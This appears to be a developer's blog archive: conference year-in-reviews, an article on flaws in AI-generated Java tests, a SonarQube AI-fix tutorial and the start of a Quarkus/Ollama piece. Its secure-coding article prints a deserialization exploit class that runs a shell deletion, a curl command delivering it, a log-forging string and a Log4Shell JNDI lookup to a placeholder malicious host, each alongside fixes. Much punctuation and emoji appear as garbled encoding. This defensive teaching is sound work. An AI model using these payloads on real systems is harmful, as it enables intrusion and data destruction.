Oh my gosh, what a year! π 2025 flew by in a whirlwind of code, coffee, and incredible community vibes. I’ve been absolutely everywhere, spreading developer joy, security tips, and AI knowledge across the globe.
Letβs take a sparkly peek at his incredible journey this year! π
π Jet-Setting & Stage-Stomping π€βοΈ
Hold onto your passports! I was basically living out of a suitcase this year, hopping from country to country to connect with all of you amazing developers.
The energy was off the charts! In total, I shared high-fives, stickers, and knowledge with 2,906 wonderful attendees across all these 23 events! π€―π and Thatβs 100,000 kilometers! πβ¨ or to put that into perspective, thatβs actually more than 2.5 times around the Earth or almost 1/4 of the way to the Moon.
π The 2025 Tour Map
The “Where in the World is Jonathan?” List:
I’ve visited so many cool places! Check out this tour schedule:
πΊπΈ USA: DevNexus Atlanta & IBM TechXchange Orlando
π·π΄ Romania: Voxxed Bucharest, Dev Talks Cluj & BMW TechWorks Cluj
I’m so thankful, honored and proud to have received excellent feedback for my talks, averaging a 4.8/5 and receiving comments like these :
* La charla me ha gustado mucho la he visto en directo y varias veces en Youtube y utilizado para convencer a mis jefes y equipo. Mil gracias
* Energetic and crowd-engaging speaker
* Your use of language was perfect. It was simple, clear and made it easy to understand the topics.
* Awesome presentation that fits perfectly to my jobβs AI discussions and challenges.
* It was a great presentation, especially considering i have been working for 2 yrs and i ve definetely made some ( all) the mistakes you have mentioned at some point:)
* you are as always the most interesting presenter on jprime in Bulgaria
* Awesome presentation skills and very interesting info displayed, definitely learnt a lot!
* It was great presentation that keeps your attention from the beginning to the end. The topic was very interesting and important. P.s. Me encanta Barcelona! Este ciudad es mi favorito.
* You've been the best talk at Devoxx Maroc
And even being the best talk in terms of rating at Devoxx Maroc
π Knowledge Drops & Writing Wizardry βοΈπ§
When I wasn’t on stage or up in the air, I was busy typing away, creating super helpful guides, deep dives, and hot takes on the latest tech.
Thank you so much to everyone who attended a talk, read an article, asked a question, or just said hello. You make this community the best place to be!
I am already recharging batteries (and drinking lots of coffee β) for an even bigger and better 2026. See you there! ππ
AI assisted coding tools are everywhere now, helping with autocomplete, suggesting fixes, and sometimes writing surprisingly large blocks of code. A hot topic π is using generative AI to generate tests automatically β unit, integration, e2e, etc. The idea’s definitely appealing. Who wouldn’t want an AI to help crank out tests, bump up those coverage numbers, and maybe save us from some of the testing grind? It sounds like a fast track to better feedback and tackling that mountain of untested code.
But, hang on a sec. Like any tool, especially one this complex, artificial intelligence is not a silver bullet. Just grabbing AI driven tests and calling it a day is risky. You might think your code’s solid because the test count is high, but the tests themselves might be junk. These AI language models learn from tons of code online and in repos β and let’s face it, a lot of that code isn’t exactly high quality nor correct code.
This article is for devs π figuring out how to actually use these AI tools without creating a mess and produce high quality software. We’ll touch on the good stuff but focus on the traps πͺ€: the tests might be flat-out wrong, or they might just “prove” that your buggy code works exactly like the buggy mess it is, instead of checking if it meets user needs. We’ll also bring in static analysis with SonarQube, using its big list of Java test rules [https://rules.sonarsource.com/java/tag/tests/] to show concrete examples of what can go wrong and what to watch for. The point isn’t to ditch AI, but to use it intelligently, so you don’t trade real quality for fake coverage.
How AI Learns to Code (And Why That’s a Problem for Tests)
To understand why AI tests can be uncertain, it helps to know how these code-generating AIs learn. Most are Large Language Models (LLMs) trained on absolutely massive datasets. These datasets contain billions of lines of code from GitHub, Stack Overflow, open-source projects, maybe your own company’s code. The AI digests all this and learns patterns: common code structures, how people usually use certain APIs, popular libraries, coding styles. It gets really good at predicting the next bit of code in a sequence, leading it to write stuff that often looks right.
But that’s the catch. The training data is justβ¦ code. All kinds of code. Including:
Plain oldΒ bugs.
NastyΒ security holes.
WeirdΒ anti-patterns.
Outdated codeΒ using old libraries, patterns or approaches.
Code thatΒ ignoresΒ style guides.
Code withΒ zero usefulΒ comments.
The AI doesn’t understand good code from bad code. It just mimics the patterns it saw. If buggy code patterns were common in its training data, it’ll happily reproduce them. It’s the classic “garbage in, garbage out” deal.
So when you ask this AI to write tests, problems pop up:
The Tests Have Bugs:Β The generated test code itself might be flawed, misuse resources, have race conditions β just like buggy tests humans write.
The Tests Verify Bugs:Β This is the really sneaky one. The AI looks at yourΒ currentΒ code, sees how it works (even the buggy parts), and writes a test to confirmΒ thatΒ behavior. It doesn’t know what the codeΒ shouldΒ do from requirements; it just tests what the codeΒ does.
Think of learning English only by reading internet comments. You’d get good at slang and common mistakes, but you wouldn’t be able to write clean technical docs. An AI testing tool trained on a huge, messy pile of code is similar β good at mimicry, not guaranteed to be correct or follow best practices in software development.
AI powered tests can be inaccurate and may only validate existing code, not the intended behavior. Letβs see some of the main problems you can encounter by generating the tests with AI.
Problem #1: AI Tests Might Just Be Wrong
Yeah, AI can generate code that uses @test and compiles. It will save a lot of manual effort on time consuming test case generation. But is it correct? Often, it might not be. When you’re reviewing AI-generated tests, watch out for:
Looks Right, Works Wrong: AI usually nails the syntax. But code that compiles doesn’t mean the test logic is sound or it tests anything useful.
Incomplete Tests: Super common. The AI sets things up, calls the method, and… forgets the important part.
No Asserts: A test without asserts is pointless. AI often forgets to actually check the result.
Weak Asserts: An assertNotNull(result) is better than nothing, but doesn’t prove the result is correct. Also assertTrue(true) is useless.
Happy Path Only: AI often tests the simple case. What about nulls, errors, edge conditions? AI might miss these unless you specifically tell it to check them.
Weird or Irrelevant Tests: AI can “hallucinate” and generate tests for things that don’t make sense for your app, or test trivial details instead of important behavior.
Sneaky Logic Bugs: These look okay at first glance.
Bad Setup: Mocking things wrong, starting the test in an invalid state.
Bad Asserts: Using the wrong comparison, expecting the wrong result, off-by-one errors.
Flaky Tests: Tests involving threads or async code are hard. AI might generate tests that sometimes pass, sometimes fail due to timing issues.
Missing the Big Picture: Good tests often need domain knowledge. AI usually doesn’t have deep context about your specific app unless you give it lots of info. It might test a method fine in isolation but miss its system-wide impact.
Dynamic Stuff & Async: Testing tricky things like UIs, message queues, or async operations? AI often struggles to generate reliable tests for these without a lot of help or manual fixes.
Hereβs a quick example:
// AI might generate something like this:
@Test
void testProcessItem() {
ItemProcessor processor = new ItemProcessor(/* dependencies */);
Item item = getTestItem();
// Maybe AI doesn't know mocking is needed here
// MockItemRepository mockRepo = mock(ItemRepository.class);
// when(mockRepo.save(any(Item.class))).thenReturn(item);
// processor.setRepository(mockRepo);
processor.process(item);
// Problem: No assertion! Does 'process' do anything? Is item saved?
}
Looks like a test, runs, but proves nothing. And it will be GREEN !! . You gotta check.
Problem #2: Testing the Code You Have, Not the Code You Need (Verification vs. Validation Trap)
This is the deeper problem. Even if an AI test is technically correct for the current code, it might be testing the wrong thing if the code itself is buggy. It’s about Verification vs. Validation:
Verification:Β “Are we building the product right?” Does the code do what the current implementation says it does?Β AI is okay at this.
Validation:Β “Are we building the right product?” Does the code actually meet the user’sΒ realΒ needs? Does it solve the problem correctly?Β AI struggles here.
If your calculateTax method has a bug and returns negative tax for some inputs, an AI looking at the code might generate a test asserting that calculateTax(badInput) should return that negative number. It verifies the bug.
Here is a simple example of this buggy method and its AI generated test:
public BigDecimal calculateTax(BigDecimal income) {
BigDecimal grossTax = income.multiply(TAX_RATE);
// *** THE BUG IS HERE ***
// Simple subtraction without checking if the result is negative.
BigDecimal netTax = grossTax.subtract(STANDARD_DEDUCTION);
// Rounding for standard currency format (e.g., 2 decimal places)
return netTax.setScale(2, RoundingMode.HALF_UP);
}
@Test
@DisplayName("Test calculateTax: Should return expected negative tax for low income due to BUG")
void calculateTax_whenIncomeIsLow_shouldReturnNegativeTax_dueToBug() {
BigDecimal lowIncome = new BigDecimal("10000.00");
// Expected calculation: (10000 * 0.15) - 5000 = 1500 - 5000 = -3500
BigDecimal expectedNegativeTax = new BigDecimal("-3500.00");
BigDecimal actualTax = calculator.calculateTax(lowIncome);
// We are specifically asserting that the bug produces this negative result.
assertEquals(expectedNegativeTax, actualTax,
"BUG CONFIRMATION: calculateTax should return -3500.00 for 10000.00 income");
}
Why?
Code is the Source:Β The AI learns from the code you give it.
No Requirements Mind-Reading:Β Without clear, up-to-date requirements, AI doesn’t know what the codeΒ shouldΒ do.
It Matches Patterns:Β It sees input -> process -> output in your code and writes a test forΒ that specific pattern, bug or not.
Letβs see which are the challenges with the validation trap and recommendations to avoid them.
The False Confidence Problem: This is bad. A test passing because of a bug makes everything look green, but the bug is still there, now with a test “protecting” it. Fix the bug later, and the AI’s test fails, confusing everyone.
Ignoring Requirements Changes: Requirements evolve. Code written last month might be wrong now. AI testing the code won’t know that. It just keeps confirming the potentially outdated behavior.
Analogy: Like spell-checking a document but not fact-checking it. Verification passes, validation fails.
Can AI Test Requirements Directly? Some tools try. You feed them requirements (like Gherkin specs), and they generate tests \cite{aws, visuresolutions, thoughtworks}. Better, but still needs perfect, up-to-date requirements and the AI can still misinterpret them. Many simple AI tools just look at the code.
Consider this buggy code:
// Buggy Implementation
public String formatUsername(String name) {
if (name == null || name.trim().isEmpty()) {
return "guest"; // Should maybe throw exception?
}
// Bug: Doesn't handle names with spaces well
return name.toLowerCase();
}
// AI-Generated Test (Based on Buggy Code)
@Test
void whenNameHasSpace_shouldReturnLowerCase() { // Validates bug!
UserFormatter formatter = new UserFormatter();
String result = formatter.formatUsername("Test User");
// AI sees the code returns "test user", so it asserts that.
// Requirement might be to remove spaces or throw error.
assertEquals("test user", result);
}
This test passes but locks in the bad behavior of allowing spaces. You, the dev, need to check if the test matches the requirement, not just the buggy code.
So? What to Do? Don’t Use AI for Generating Tests? Nah, Rely on Your AI Test Quality Guardian
Given that AI tests can be wonky, using static analysis tools is pretty much essential. These tools automatically scan your code (including tests) against a huge rulebook, finding potential bugs, security issues, and just plain confusing code. When AI is potentially adding lots of code fast, you need this automated check.
Some of these tools even promote AI Code assurance, to keep AI-generated code in check, sometimes with even stricter rules. Makes sense β treat AI code with the same (or more) skepticism as human code.
One of these tools is SonarQube, which has 47 specific rules just for Java tests [https://rules.sonarsource.com/java/tag/tests/]. Let’s break down the kinds of issues it catches, with quick examples showing how AI might mess up.
1. Assertions – Did You Actually Check Anything?
Purpose:Β Ensure tests make meaningful checks. It can be easy to forget assertions and the test will pass making it difficult to spot.
AI Trap:Β Using generic names like testMethod1 or test_feature_abc.
4. Using Test Frameworks Correctly – JUnit/TestNG Gotchas
Purpose:Β Ensure proper use of framework features and APIs. Test frameworks provide specific ways of handling different use cases. In this particular case, exceptions.
// Noncompliant code (JUnit 5) - Old way to check exceptions
@Test
void testDivisionByZero_OldWay() {
Calculator calc = new Calculator();
try {
calc.divide(1, 0);
fail("Should have thrown ArithmeticException");
} catch (ArithmeticException expected) {
// Expected exception caught, test passes implicitly
}
}
// Compliant code (JUnit 5) - Using assertThrows
@Test
void testDivisionByZero_NewWay() {
Calculator calc = new Calculator();
assertThrows(ArithmeticException.class, () -> {
calc.divide(1, 0);
});
}
AI Trap:Β Using outdated patterns (like the try/catch/fail for exceptions) or mixing framework versions.
5. Performance and Resource Usage – Don’t Slow Down the Build
Purpose:Β Avoid bad practices like printing to console or leaking resources in tests. It is not easily configurable, can mess with build tools and itβs a sync process that will slow down the build.
// Noncompliant code (Potential Issue: Forgetting to mock)@Testvoid testServiceUsingRepository() {
// Missing mock setup for repository dependency
MyRepository repo; // = mock(MyRepository.class);
MyService service = new MyService(repo); // Might throw NPE if repo is null
service.doWork();
// Assertions might fail unpredictably
}
// Compliant code (Basic Mocking)
@Test
void testServiceUsingRepository() {
MyRepository repo = mock(MyRepository.class); // Mock dependency
when(repo.getData()).thenReturn("mock data"); // Stub method call
MyService service = new MyService(repo);
service.doWork();
verify(repo).getData(); // Verify interaction
// Add assertions based on service logic
}
AI Trap:Β Generating incomplete mock setups or incorrect verification logic.
7. Exception Handling – Be Specific
Purpose:Β Ensure tests checking for exceptions look for theΒ specificΒ expected exception. Generic exceptions can swallow several different use cases, and the code should catch those exceptions types that can handle.
// Noncompliant code
@Test
void testInvalidInput() {
Processor processor = new Processor();
// This is too broad, might catch unexpected runtime exceptions
assertThrows(Exception.class, () -> {
processor.process(null);
});
}
// Compliant code
@Test
void testInvalidInput() {
Processor processor = new Processor();
// Be specific about the expected exception
assertThrows(IllegalArgumentException.class, () -> {
processor.process(null);
});
}
AI Trap:Β Using generic Exception when a more specific one is appropriate.
Seeing these examples shows how easy it is for generated code (and human code!) to violate basic testing hygiene. SonarQube acts as your automated checklist for this stuff.
How to Use AI Test Tools Without Getting Burned
So, how do you actually use these tools without causing chaos?
Human Review is Mandatory (Really!):Β Never skip this. Check if the test makes sense, if the asserts are good, if it tests theΒ requirement, if it covers edge cases, and if your static analysis guardian is happy.
Use Static Analysis Everywhere:Β Put a linter in your IDE. Put it in your CI pipeline. Fail the build if quality drops. Make it non-negotiable.
Let AI Do the Easy Stuff:Β Don’t expect miracles. Use AI for:
Boilerplate:Β Test methods, basic setup/teardown.
Simple Mocking:Β Basic when/thenReturn.
Test Variations:Β Generating different inputs for a testΒ youΒ already wrote and trust.
Give Better Instructions:Β Garbage prompts = garbage tests.
Add Context:Β Give it docs, requirements snippets, good examples.
Be Specific:Β Tell itΒ exactlyΒ what to test, what to mock, what to assert.
Iterate:Β Treat the AI output as a first draft. Review, fix, improve.
Learn the Tools:Β Figure out howΒ yourΒ specific AI tool works best. Practice prompting. Learn to spot its common mistakes quickly.
Start Small:Β Try it on a safe project first. See if itΒ reallyΒ saves time after you account for fixing its output.
Wrapping Up
AI test generation? It’s here and it can write test code fast, which is cool. But don’t just trust it blindly. AI often gets things wrong, misses assertions, or writes tests that just confirm your bugs are still there.
Think of AI as a helper, not the expert π§. Let it write first drafts or boring bits. But you need to review everything. Does it test the actual requirement? Is the logic sound? Use static analysis to automatically check for common mistakes in your pipeline. Keep your brain engaged, and you can probably get some real speed benefits from AI without sacrificing quality.
Itβs that moment of the year when itβs important to make a review of what has been this 2024 for me.
It started full of energy, continuing in a great company doing a job I love, with a lovely team of colleagues.
During these 12 months, Iβve learned a lot and I’ve met a lot of people on all my trips at conferences and meetups.
Iβve been able to visit several cities, speak at conferences, be in the booth, or do team events. In summary, connecting with lots of people.
Conferences
I want to thank all the organizers for the conferences/meetups Iβve been involved in 23 events:
DevNexus
JCon Europe
JPrime
OpenSouthCode
Devoxx Morocco
Geecon Krakow
DevWorld
JConf Dev
KCDC
Developer Week DWX
Mes de QA
QCon
Voxxed Days Brussels
JDD
Netherlands Meetup Tour
AllThingsOpen
Vilnius mini conf
JNation
CommitConf
KubeCon Paris
Madrid JUG
Criteo meetup
Java Champions conf
I also made three one-week visits to the Geneva office.
Numbers
A total of 94 days of travelling, which is 43% of my professional time.
My potential public has been 26000 people, considering the events size, and my objective impact has been 2600 people considering the attendees on my talks, not counting the online talks.
Talks
In these events Iβve given several talks. Here you can check the abstract, slides and some videos :
In all those events I met super interesting colleagues, places, food and experiences …. you can find all of them in theseΒ PhotosΒ .
It’s been also a year where my colleagues at Dev Rel team left the company. A great team vanished in a moment….lot’s of experiences in different places in the world shared with them π Hopefully we’ll meet again.
I donβt want to finish, without giving my total support to all those people impacted by the layoffs. Itβs hard, but hopefully, soon you will move to another interesting position.
This next 2025 brings some new opportunities, new and exciting projects, and, for sure, tons of great people to meet.
Hope we will meet someday somewhere in the world π
In 2019, a famous breach in Fortnite, the famous game, reportedly put millions of players at risk of malware. The incident highlighted the importance of properly securing SQL databases.
But this is not an isolated issue.
Multiple attacks involving SQL injection have occurred, like the one Tesla experienced in 2018. In that case, another SQL injection attack affected Teslaβs Kubernetes console, causing financial losses due to unauthorized crypto mining activities.
But this is not only about SQL Injection.
There are other attack vectors that your code can suffer right now, as big companies have suffered in the past.
As the one in 2021 in the Log4J library called Log4Shell that involved a logging injection attack that impacted millions of servers worldwide up to today, or the one in 2022 in Atlassian Jira that involved a deserialization attack impacting multiple versions of Jira conceding full control to the attacker.
It could happen to anyone, even to you.
In this article, Iβll discuss the 3 most common attacks in code: SQL injection, Deserialization Injection, and Logging Injection, and how to solve them.
SQL Injection
Applications that store information in databases often use user-generated values to check for permissions, store information, or simply retrieve data stored in tables, documents, points, nodes, etc.
At that moment, when our application is using those values, improper use could allow attackers to introduce extra queries sent to the database to retrieve unallowable values or even modify those tables to gain access.
The following code retrieves a user from the database considering the username provided in the login page. Everything seems to be fine.
public List findUsers(String user, String pass) throws Exception {
String query = "SELECT userid FROM users " +
"WHERE username='" + user + "' AND password='" + pass + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);
List users = new ArrayList();
while (resultSet.next()) {
users.add(resultSet.getString(0));
}
return users;
}
However, when the attacker uses injection techniques, this code, using string interpolation, will result in unexpected results, allowing the attacker to log into the application.
To fix this problem we would change this approach from using string concatenation to parameter injection. In fact, String concatenation is generally a bad idea, in terms of performance and security.
String query = "SELECT userid FROM users " +
"WHERE username='" + user + "' AND password='" + pass + "'";
Changing the inclusion of the parameter values directly in the SQL String, to parameters that we can reference later will solve the problem of hacked queries.
String query = "SELECT userid FROM users WHERE username = ? AND password = ?";
Our fixed code will look like this, with the prepareStatement and the value setting for each parameter.
public List findUsers(String user, String pass) throws Exception {
String query = "SELECT userid FROM users WHERE username = ? AND password = ?";
try (PreparedStatement statement = connection.prepareStatement(query)) {
statement.setString(1, user);
statement.setString(2, pass);
ResultSet resultSet = statement.executeQuery(query);
List users = new ArrayList();
while (resultSet.next()) {
users.add(resultSet.getString(0));
}
return users;
}
}
The SonarQube and SonarCloud rules that help detect the SQL injection vulnerability can be found here
Deserialization injection
Deserialization is the process of converting data from a serialized format (like a byte stream, string, or file) back into an object or data structure that a program can work with.
Common usages of deserialization include data sent between APIs and Web services in the form of JSON structures, or in modern applications using RPC (Remote Procedure Calls) in the form of protobuf messages.
Converting the message payload into an Object can involve serious vulnerabilities if no sanitizing or checking steps are implemented.
@POST
@Path("/binary")
public String saveBinary(InputStream userStream) throws SQLException, ClassNotFoundException, IOException {
Log.info("Saving binary user ");
ObjectInputStream objectInputStream = new ObjectInputStream(userStream);
User user = (User) objectInputStream.readObject();
return String.valueOf(dbService.save(user));
}
class User implements Serializable {
private static final long serialVersionUID = 1L;
private String name;
public User(String name) {
this.name = name;
}
public String getName() {
return name;
}
}
We can see here that we are using objectInputStream, a direct value coming from the user in the request input stream, and converting it to a new object. We expect that the value will always be one of the classes that our application uses. Sure, our client would never send anything else, right? Would they?
But what if a malicious client is sending another class in the request?
public class Exploit implements Serializable {
private static final long serialVersionUID = 1L;
private void readObject(java.io.ObjectInputStream in) {
// Malicious action: Delete a file
try {
Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", "rm -rf /tmp/vulnerable.txt"});
} catch (Exception e) {
e.printStackTrace();
}
}
}
In this case, we have a class that deletes a file during the overridden readObject method, which will happen on the previous readObject call.
The attacker only needs to serialize this class and send it to the API :
Exploit exploit = new Exploit();
FileOutputStream fileOut = new FileOutputStream("exploit.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(exploit);
...
$ curl -X POST --data-binary @exploit.ser http://vulnerable-api.com/user
This will cause our call to fail with a class cast Exception, but this won’t prevent it from executing the malicious code that happens before the cast.
java.lang.ClassCastException: class org.vulnerable.Exploit cannot be cast to class org.vilojona.topsecurityflaws.deserialization.User
Fortunately, thereβs an easy way to fix this. We need to check if the class to be deserialized is from one of the allowed types before creating the object.
In the code above, we have created a new ObjectInputStream with the βresolveClassβ method overridden containing a check on the class name. We use this new class, SecureObjectInputStream, to get the object stream. But we include an allowed list check before reading the stream into an object (User).
public class SecureObjectInputStream extends ObjectInputStream {
private static final Set<String> ALLOWED_CLASSES = Set.of(User.class.getName());
public SecureObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
if (!ALLOWED_CLASSES.contains(osc.getName())) {
throw new InvalidClassException("Unauthorized deserialization", osc.getName());
}
return super.resolveClass(osc);
}
}
...
public class RequestProcessor {
protected void doGet(HttpServletRequest request, HttpServletResponse response) {
ServletInputStream servletIS = request.getInputStream();
ObjectInputStream objectIS = new SecureObjectInputStream(servletIS);
User input = (User) objectIS.readObject();
}
}
The SonarCloud/SonarQube and SonarLint rules that help detect the deserialization injection vulnerability can be found here
Logging injection
A logging system is a software component or service designed to record events, messages, and other data generated by applications, systems, or devices. Logs are essential for monitoring, troubleshooting, auditing, and analyzing software and system behavior and performance.
Usually, these applications record failures, attempts to log in, and even successes that can help in debugging when an eventual issue occurs.
But, they can also become an attack vector.
Log injection is a type of security vulnerability where an attacker can manipulate log files by injecting malicious input into them. If logs are not properly sanitized, this can lead to several security issues.
We can find issues like log forging and pollution when the attacker modifies the log content to corrupt them or to add false information to make them difficult to analyze or to break log parsers, and also log management systems exploits, where the attacker will inject logs to exploit vulnerabilities in log management systems, leading to further attacks such as remote code execution.
Letβs consider the following code, where we take a value from the user and log it.
public void doGet(HttpServletRequest request, HttpServletResponse response) {
String user = request.getParameter("user");
if (user != null){
logger.log(Level.INFO, "User: {0} login in", user);
}
}
It looks harmless, right?
But what if the attacker tries to log in with this user?
john login in\n2024-08-19 12:34:56 INFO User 'admin' login in
Itβs clearly a wrong user name and it will fail. But, it will be logged and the person checking the log will get very confused
2024-08-19 12:34:56 ERROR User 'john' login in
2024-08-19 12:34:56 INFO User 'admin' login in
Or even worse !! If the attacker knows the system is using a non-patched Log4J version, they can send the below value as the user and the system will suffer from remote execution. The LDAP server controlled by the attacker responds with a reference to a malicious Java class hosted on a remote server. The vulnerable application downloads and executes this class, giving the attacker control over the server.
$ { jndi:ldap://malicious-server.com/a}
But we can prevent these issues easily.
Sanitizing the values to be logged is important to avoid the log forging vulnerability, as it can lead to confusing outputs forged by the user.
// Log the sanitised username
String user = sanitiseInput(request.getParameter("user"));
}
private String sanitiseInput(String input) {
// Replace newline and carriage return characters with a safe placeholder
if (input != null) {
input = input.replaceAll("[\\n\\r]", "_");
}
return input;
}
The result weβll see in the logs is the following, making it now easier to see that all the logs belong to the same call to the log system.
2024-08-19 12:34:56 ERROR User 'john' login in_2024-08-19 12:34:56 INFO User 'admin' login in
In order to prevent the exploit to the logging system, itβs important to keep our libraries updated to the latest stable versions as much as possible. For log4j, that remediation would disable the functionality. We can also manually disable JNDI.
-Dlog4j2.formatMsgNoLookups=true
If you still need to use JNDI, then a common sanitizing process could avoid malicious attacks by just checking the destination against an allowed destinations list.
public class AllowedlistJndiContextFactory implements InitialContextFactory {
// Define your list of allowed JNDI URLs
private static final List ALLOWED_JNDI_PREFIXES = Arrays.asList(
"ldap://trusted-server.com",
"ldaps://secure-server.com"
);
@Override
public Context getInitialContext(Hashtable environment) throws NamingException {
String providerUrl = (String) environment.get(Context.PROVIDER_URL);
if (isAllowed(providerUrl)) {
return new InitialContext(environment);
} else {
throw new NamingException("JNDI lookup " + providerUrl + " not allowed");
}
}
private boolean isAllowed(String url) {
if (url == null) {
return false;
}
for (String allowedPrefix : ALLOWED_JNDI_PREFIXES) {
if (url.startsWith(allowedPrefix)) {
return true;
}
}
return false;
}
}
And configure our system to use the filtering context factory.
The SonarCloud/SonarQube and SonarLint rules that help detect the logging injection vulnerability can be found here
Conclusion
Security vulnerabilities are not just theoretical concerns but real threats that have already impacted major companies, resulting in substantial financial and reputational damage.
From SQL injections to Deserialization and Logging injections, these attack vectors are prevalent and can easily exploit insecure code if not properly addressed.
By understanding the nature of these vulnerabilities and implementing the recommended fixes, such as using parameterized queries, avoiding unsafe deserialization practices, and properly securing logging frameworks, developers can significantly reduce the risk of these attacks.
Proactive security measures are essential to protect your applications from becoming the next victim of these widespread and damaging exploits.
You can find the code for this vulnerabilities workshop here.
SonarQube provides developers with static code analysis capabilities, allowing teams to identify and resolve code quality issues. It also includes an AI Fix feature that helps developers fix specific issues using the full power of AI.
The project sonarqube-bulk-ai-fix shows how to focus only on those issues with AI fixes as an example of how to easily connect to SonarQube Server API and show the fixes in SonarQube IDE.
In this article, weβll explore how the project leverages the SonarQube API alongside Vaadin and Spring Boot to create an intuitive dashboard for AI fixing code issues.
Why SonarQube API?
SonarQubeβs API provides extensive capabilities to interact with its core features programmatically, enabling:
Fetching project and issue data
Managing quality gates and rules
Integrating with CI/CD pipelines
This project highlights the use of the API to identify issues and seamlessly process AI fixes. Let’s examine the technical components.
Overview of the Architecture
The project architecture integrates:
Spring Boot: Acts as the backend to manage business logic and handle API interactions.
Vaadin: Provides a modern, web-based UI for the dashboard.
SonarQube API: Fetches project issues and applies fixes programmatically.
Prerequisites
SonarQube Server / SonarQube Cloud instance running with AI CodeFix feature enabled (> 10.7)
IDE running (VSCode, IntelliJ)
Container runtime (Podman, Docker)
Running SonarQube Server
If you don’t have access to a SonarQube Cloud instance with CodeFix feature enabled, you can try this example locally. To do that,request an Enterprise free trial license.
The next step is to create a docker-compose file to have persistence in our analysis, otherwise, it would use a memory database, and every time you run the container, it will be empty.
docker-compose -f ./docker-compose-sonarqube-postgre.yaml up
After a few seconds, you can open our browser on localhost:9000 and specify the new password (the default is admin/admin). Now you should paste the contents of the trial license file we received and Voila!
Analysing our first project
In order to test the connection with real data, you would need to incorporate a project analysis in the SonarQube dashboard. To do this for a given Java project simply run this command in the project folder (considering it’s a Maven Java application):
mvn clean verify sonar:sonar -Dsonar.projectKey=sample -Dsonar.host.url=http://localhost:9000 -Dsonar.login=admin -Dsonar.password={replace with your pass}
Using the SonarQube API
The first step is connecting to the SonarQube API to retrieve and manipulate issue data. In the project, a SonarQubeClient class encapsulates this functionality. There are some API calls supported by the Sonar SDK, and others that are direct calls using HttpClient.
To find out which API endpoints and types are supported, go to Web API and Web API v2.
Sonar API Client in Spring Boot
You can use the sonar-ws SDK to connect to SonarQube and get the issues for a given filter. We need to use pagination, as it’s only returning 100 elements per query.
public SearchWsResponse getListOfIssues(String project, String page, String pageSize) {
// Call the SonarQube API to get the issues
var httpConnector = HttpConnector.newBuilder()
.url(filter.sonarqubeUrl())
.credentials(filter.sonarqubeUser(), filter.sonarqubePassword())
.build();
var wsClient = WsClientFactories.getDefault().newClient(httpConnector);
var issueRequest = new SearchRequest();
issueRequest.setProjects(Collections.singletonList(project));
if (filter.severity() != null) {
issueRequest.setSeverities(List.of(filter.severity()));
}
issueRequest.setP(page);
issueRequest.setPs(pageSize);
return wsClient.issues().search(issueRequest);
}
To check if an issue has an AI Code Fix, you need to make a direct call using the HttpRequest object because the SDK doesn’t yet cover this call.
// check if the issue has code fix suggestions
HttpRequest requestCheckIfIssueHasCodeFix = HttpRequest.newBuilder()
.uri(URI.create(urlFixSuggestionsIssues))
.header("Authorization", getAuthorization())
.build();
HttpResponse<String> response = client.send(requestCheckIfIssueHasCodeFix, BodyHandlers.ofString());
if (response.body().contains("\"aiSuggestion\":\"AVAILABLE\"")) {
issuesWithCodeFix.add(issue);
}
Interacting with the IDE
One feature of this Dashboard is the ability to send the AI Fix to the local running instance of an IDE and commit the change to our code base.
SonarQube for IDE has an API you can use to send pieces of code that need to be refactored.
Vaadin simplifies the process of building web UIs in Java by combining a component-based framework with server-side logic.
The process is to create different components and add them to layout containers.
Hereβs how the project creates a dashboard page:
Vaadin Page for the dashboard
Adding the components to the layouts :
public IssuesDashboard() {
sonarqubePanel = new HorizontalLayout();
sonarqubeUrlEdit = new TextField("SonarQube Server URL");
sonarqubeUrlEdit.setValue("http://localhost:9000");
sonarqubeUserEdit = new TextField("User");
sonarqubePasswordEdit = new TextField("Password");
sonarqubePanel.add(sonarqubeUrlEdit, sonarqubeUserEdit, sonarqubePasswordEdit);
}
Listeners to button actions :
applyFixesButton = new Button("Send Selected Fix to SonarQube IDE");
applyFixesButton.addClickListener(e -> {
Notification.show("Processing fixes");
applyFixes();
Notification.show("Processing fixes finished");
});
Bringing It All Together
To run the project:
Start the Spring Boot application: ./mvnw spring-boot:run
Access the Vaadin UI atΒ http://localhost:8080.
You can then enter the project key, fetch issues, and explore the automation possibilities.
Conclusion
The sonarqube-bulk-ai-fix project demonstrates the power of combining the SonarQube API, Vaadin, and Spring Boot to create a user-friendly and efficient dashboard for AI code fixes. Whether you’re looking to streamline your workflows or explore innovative ways to interact with SonarQube, this project provides an excellent start point.
Check out the full source code and contribute to the project on GitHub.
Traditionally, many AI-powered applications rely on cloud-based APIs or centralized services for model hosting and execution. While this approach has its advantages, such as scalability and ease of use, it also introduces challenges around latency, data privacy, and dependency on third-party providers.
This is where local AI models shine. By running models directly within your application’s infrastructure, you gain greater control over performance, data security, and deployment flexibility. However, building such systems requires the right tools and frameworks to bridge the gap between traditional software development and AI model integration.
In this article, we explore how to combine Quarkus, a modern Java framework optimized for cloud-native applications, with Ollama, a platform for running AI models locally. Weβll also demonstrate how tools like Testcontainers and Quarkus Dev Services simplify development and testing workflows. Using the PingPong-AI project as a practical example, you’ll learn how to build and test AI-driven applications that harness the power of local models.
The PingPong-AI project demonstrates a simple implementation of AI-powered functionality using Quarkus as the backend framework and Ollama for handling AI models. Letβs break down the architecture and walk through key components of the code.
Project Overview
In PingPong-AI, Ollama is used to simulate a simple conversation model where a curious service generates questions around a topic and a wise service responds with informated answers, that will generate more questions on the curious service.
The project integrates Quarkus with Ollama to create an AI model-driven application. It leverages Quarkus’s lightweight and fast development model to serve as a backend for invoking and managing AI interactions. Here’s an overview of what we’ll cover:
Integrating Quarkus with Ollama
Using Testcontainers for Integration Testing
Leveraging Quarkus Dev Services for Simplified Development
1. Integrating Quarkus with Ollama
Why Ollama?
Ollama simplifies the deployment and use of AI models in applications. It provides a runtime for AI model execution and can be easily integrated into existing applications.
Quarkus and Ollama Integration
The integration with Quarkus is handled using REST endpoints to interact with Ollama. The Quarkus application serves as the middleware to process client requests and communicate with the Ollama runtime.
Hereβs a snippet from PingPongResource.java, which defines the REST endpoint for the PingPong interaction:
TheΒ CuriousChatResourceΒ handles client POST requests.
The injectedΒ CuriousServiceΒ andΒ WiseServiceΒ interface with the Ollama runtime to process the message.
